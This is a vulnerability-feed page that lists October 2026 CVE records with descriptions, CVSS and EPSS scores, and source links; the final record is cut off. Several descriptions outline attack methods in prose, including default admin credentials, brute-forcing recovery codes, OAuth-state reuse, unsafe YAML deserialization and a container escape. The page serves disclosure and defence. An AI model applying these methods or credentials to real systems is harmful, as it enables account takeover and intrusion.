Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation. Attackers with write access to manifest history can replay a superseded history head so withdrawn workloads obtain trusted mesh certificates, or with the secret seed disclose the Mesh CA key.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109359).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109359&date=2026-10-25).
Sources:
NVD CVE-2026-109359: https://nvd.nist.gov/vuln/detail/CVE-2026-109359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109359&date=2026-10-25
Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation. Attackers with write access to manifest history can replay a superseded history head so withdrawn workloads obtain trusted mesh certificates, or with the secret seed disclose the Mesh CA key.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST...
https://kevwire.com/record/CVE-2026-109391
Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST... (Oct 12, 2026).
Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST /api/1.0/symbolication endpoint. When occurrences referencing the attacker-controlled symbolication UUID are symbolicated, the stored values are passed to YAML.load with SafeYAML in unsafe mode, enabling arbitrary Ruby object deserialization and potential code execution.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109391).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109391&date=2026-10-25).
Sources:
NVD CVE-2026-109391: https://nvd.nist.gov/vuln/detail/CVE-2026-109391
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109391&date=2026-10-25
Square Squash through commit e73f280 contains an insecure deserialization vulnerability that allows unauthenticated attackers to store crafted YAML via the POST /api/1.0/symbolication endpoint. When occurrences referencing the attacker-controlled symbolication UUID are symbolicated, the stored values are passed to YAML.load with SafeYAML in unsafe mode, enabling arbitrary Ruby object deserialization and potential code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered...
https://kevwire.com/record/CVE-2026-109394
Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered... (Oct 12, 2026).
Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered customers' passwords using guest account tokens. Attackers can place a guest order with the victim's email, then use the guest secure key to reset and take over the victim's account when guest checkout is enabled.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109394).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109394&date=2026-10-25).
Sources:
NVD CVE-2026-109394: https://nvd.nist.gov/vuln/detail/CVE-2026-109394
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109394&date=2026-10-25
Thirty bees through 1.7.0 contains an authentication bypass vulnerability in PasswordController::resolveCustomer() that allows unauthenticated attackers to reset registered customers' passwords using guest account tokens. Attackers can place a guest order with the victim's email, then use the guest secure key to reset and take over the victim's account when guest checkout is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent...
https://kevwire.com/record/CVE-2026-109423
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent... (Oct 12, 2026).
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent attacker to intercept and decrypt HTTPS traffic by failing to validate the server certificate chain, verify the hostname, or consult any Windows certificate trust store. Attackers can perform a man-in-the-middle attack using a rogue certificate authority to decrypt traffic, capture the MUSIC_U session credential sent in authenticated API requests, and modify server responses in transit, enabling account takeover and transport-layer response forgery.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109423).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109423&date=2026-10-25).
Sources:
NVD CVE-2026-109423: https://nvd.nist.gov/vuln/detail/CVE-2026-109423
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109423&date=2026-10-25
NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent attacker to intercept and decrypt HTTPS traffic by failing to validate the server certificate chain, verify the hostname, or consult any Windows certificate trust store. Attackers can perform a man-in-the-middle attack using a rogue certificate authority to decrypt traffic, capture the MUSIC_U session credential sent in authenticated API requests, and modify server responses in transit, enabling account takeover and transport-layer response forgery.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles.
https://kevwire.com/record/CVE-2026-109557
EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles. (Oct 12, 2026).
EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles. Attackers can set malicious names via MCP create_notebook, rename_notebook or create_memo tools, running script on drag with access to the desktop bridge's session token.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109557).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109557&date=2026-10-25).
Sources:
NVD CVE-2026-109557: https://nvd.nist.gov/vuln/detail/CVE-2026-109557
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109557&date=2026-10-25
EdgeEver through 1.112.0 contains a stored cross-site scripting vulnerability in setMemoDragPreview that allows attackers to inject script through notebook names or memo titles. Attackers can set malicious names via MCP create_notebook, rename_notebook or create_memo tools, running script on drag with access to the desktop bridge's session token.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching.
https://kevwire.com/record/CVE-2026-109559
EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching. (Oct 12, 2026).
EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching. Attackers can embed a link using userinfo syntax after the dev-server prefix, for example in a note-template preview, to obtain the edgeeverDesktop bridge including session token, sidecar RPC, and ACP channels.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109559).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109559&date=2026-10-25).
Sources:
NVD CVE-2026-109559: https://nvd.nist.gov/vuln/detail/CVE-2026-109559
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109559&date=2026-10-25
EdgeEver Desktop 1.6.26 through 1.112.0 contains a navigation allowlist bypass that lets attackers load arbitrary origins in the main window via string-prefix URL matching. Attackers can embed a link using userinfo syntax after the dev-server prefix, for example in a note-template preview, to obtain the edgeeverDesktop bridge including session token, sidecar RPC, and ACP channels.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission...
https://kevwire.com/record/CVE-2026-109567
Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission... (Oct 12, 2026).
Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission to assign themselves the admin role. Attackers holding roles such as the shipped operator role can submit the admin role ID for their own account, lifting tenant scoping, bypassing per-record authorization, and enabling impersonation.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109567).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109567&date=2026-10-25).
Sources:
NVD CVE-2026-109567: https://nvd.nist.gov/vuln/detail/CVE-2026-109567
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109567&date=2026-10-25
Rapyd Admin from 9.0.0 before 9.20.0 contains an improper privilege management vulnerability in the UsersEdit Livewire component that allows users with the edit users permission to assign themselves the admin role. Attackers holding roles such as the shipped operator role can submit the admin role ID for their own account, lifting tenant scoping, bypassing per-record authorization, and enabling impersonation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root.
https://kevwire.com/record/CVE-2026-109569
sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root. (Oct 12, 2026).
sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root. Agent-run code in a container workspace can resolve absolute paths on the host to read and modify host files, bypassing documented isolation.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109569).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109569&date=2026-10-25).
Sources:
NVD CVE-2026-109569: https://nvd.nist.gov/vuln/detail/CVE-2026-109569
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109569&date=2026-10-25
sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root. Agent-run code in a container workspace can resolve absolute paths on the host to read and modify host files, bypassing documented isolation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state...
https://kevwire.com/record/CVE-2026-110862
Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state... (Oct 14, 2026).
Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state values as Magic Link tokens. Attackers can start an OAuth sign-in with a victim's email and submit the returned state to Magic Link verification, gaining sessions or creating falsely email-verified accounts.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110862).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110862&date=2026-10-25).
Sources:
NVD CVE-2026-110862: https://nvd.nist.gov/vuln/detail/CVE-2026-110862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110862&date=2026-10-25
Better Auth from 1.4.0-beta.18 before 1.7.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to sign in as other users by reusing OAuth state values as Magic Link tokens. Attackers can start an OAuth sign-in with a victim's email and submit the returned state to Magic Link verification, gaining sessions or creating falsely email-verified accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other...
https://kevwire.com/record/CVE-2026-110864
Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other... (Oct 14, 2026).
Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other users by forging encrypted profiles. When the proxy shares the global secret and cookie-stored state is used, attackers can obtain encrypted state for a fake profile with a victim's verified email to take over the account via implicit linking.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110864).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110864&date=2026-10-25).
Sources:
NVD CVE-2026-110864: https://nvd.nist.gov/vuln/detail/CVE-2026-110864
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110864&date=2026-10-25
Better Auth from 1.5.0-beta.12 before 1.7.7 contains an authentication bypass vulnerability in the OAuth Proxy plugin that allows unauthenticated attackers to sign in as other users by forging encrypted profiles. When the proxy shares the global secret and cookie-stored state is used, attackers can obtain encrypted state for a fake profile with a victim's verified email to take over the account via implicit linking.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery...
https://kevwire.com/record/CVE-2026-111234
SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery... (Oct 15, 2026).
SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery links. Attackers can return a Location header or feed link pointing to a file:// path, causing file_get_contents() to read files accessible to the web server process.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111234).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111234&date=2026-10-25).
Sources:
NVD CVE-2026-111234: https://nvd.nist.gov/vuln/detail/CVE-2026-111234
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111234&date=2026-10-25
SimplePie through 1.9.0 contains a local file read vulnerability that allows malicious feed servers to read server files by supplying file:// URLs in redirects or autodiscovery links. Attackers can return a Location header or feed link pointing to a file:// path, causing file_get_contents() to read files accessible to the web server process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090.
https://kevwire.com/record/CVE-2026-111329
JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090. (Oct 15, 2026).
JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090. Attackers can log in as administrator, even after account deletion since CheckLogin recreates it, to control tenant applications and app secrets.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111329).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111329&date=2026-10-25).
Sources:
NVD CVE-2026-111329: https://nvd.nist.gov/vuln/detail/CVE-2026-111329
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111329&date=2026-10-25
JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090. Attackers can log in as administrator, even after account deletion since CheckLogin recreates it, to control tenant applications and app secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in...
https://kevwire.com/record/CVE-2026-111330
JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in... (Oct 15, 2026).
JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in services/accountservice.go. Attackers who obtain the accounts table through database access or backups can crack console passwords using precomputed tables or GPU brute force.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111330).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111330&date=2026-10-25).
Sources:
NVD CVE-2026-111330: https://nvd.nist.gov/vuln/detail/CVE-2026-111330
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111330&date=2026-10-25
JuggleIM im-server through 1.8.16 contains a weak password hashing vulnerability that stores admin console passwords as unsalted SHA-1 digests via tools.SHA1 in services/accountservice.go. Attackers who obtain the accounts table through database access or backups can crack console passwords using precomputed tables or GPU brute force.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts.
https://kevwire.com/record/CVE-2026-111356
MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. (Oct 15, 2026).
MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. Attackers knowing a victim's email or phone can request a code and brute-force findpass_reset to overwrite the member's password.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111356).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111356&date=2026-10-25).
Sources:
NVD CVE-2026-111356: https://nvd.nist.gov/vuln/detail/CVE-2026-111356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111356&date=2026-10-25
MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. Attackers knowing a victim's email or phone can request a code and brute-force findpass_reset to overwrite the member's password.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from...
https://kevwire.com/record/CVE-2026-111364
MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from... (Oct 15, 2026).
MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from unauthorized books. Attackers holding a non-observer role on any book can name that book and iterate sequential document ids to read markdown and HTML from private books.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111364).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111364&date=2026-10-25).
Sources:
NVD CVE-2026-111364: https://nvd.nist.gov/vuln/detail/CVE-2026-111364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111364&date=2026-10-25
MinDoc through 2.2-beta.2 contains an insecure direct object reference vulnerability in DocumentController.Content that allows authenticated users to read documents from unauthorized books. Attackers holding a non-observer role on any book can name that book and iterate sequential document ids to read markdown and HTML from private books.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying...
https://kevwire.com/record/CVE-2026-111365
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying... (Oct 15, 2026).
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying arbitrary role ids. Attackers holding ordinary sys:role permissions can call /admin/sys/role/info, update, or delete with another admin's role id to rewrite menu and department grants, changing other users' effective access.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111365).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111365&date=2026-10-25).
Sources:
NVD CVE-2026-111365: https://nvd.nist.gov/vuln/detail/CVE-2026-111365
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111365&date=2026-10-25
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows non-superadmin admins to read, modify, or delete other admins' roles by supplying arbitrary role ids. Attackers holding ordinary sys:role permissions can call /admin/sys/role/info, update, or delete with another admin's role id to rewrite menu and department grants, changing other users' effective access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying...
https://kevwire.com/record/CVE-2026-111366
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying... (Oct 15, 2026).
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying arbitrary user ids. Attackers holding sys:user:* permissions can call /admin/sys/user/info, update, or delete to read records, reset passwords and roles, or delete accounts.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111366).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111366&date=2026-10-25).
Sources:
NVD CVE-2026-111366: https://nvd.nist.gov/vuln/detail/CVE-2026-111366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111366&date=2026-10-25
cool-admin-midway through 8.0.0 contains an authorization bypass vulnerability that allows department-limited admins to manage users outside their departments by supplying arbitrary user ids. Attackers holding sys:user:* permissions can call /admin/sys/user/info, update, or delete to read records, reset passwords and roles, or delete accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to...
https://kevwire.com/record/CVE-2026-111369
ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to... (Oct 15, 2026).
ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to modify lessons. Authenticated students can supply arbitrary lesson ids to change titles and stored HTML content or delete lessons in their course and in other courses and organizations.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111369).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111369&date=2026-10-25).
Sources:
NVD CVE-2026-111369: https://nvd.nist.gov/vuln/detail/CVE-2026-111369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111369&date=2026-10-25
ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to modify lessons. Authenticated students can supply arbitrary lesson ids to change titles and stored HTML content or delete lessons in their course and in other courses and organizations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser.
https://kevwire.com/record/CVE-2026-35001
OpenS100 through commit 2b1dafc contains an integer overflow vulnerability in the S-102 Bathymetric Surface parser. (Oct 13, 2026).
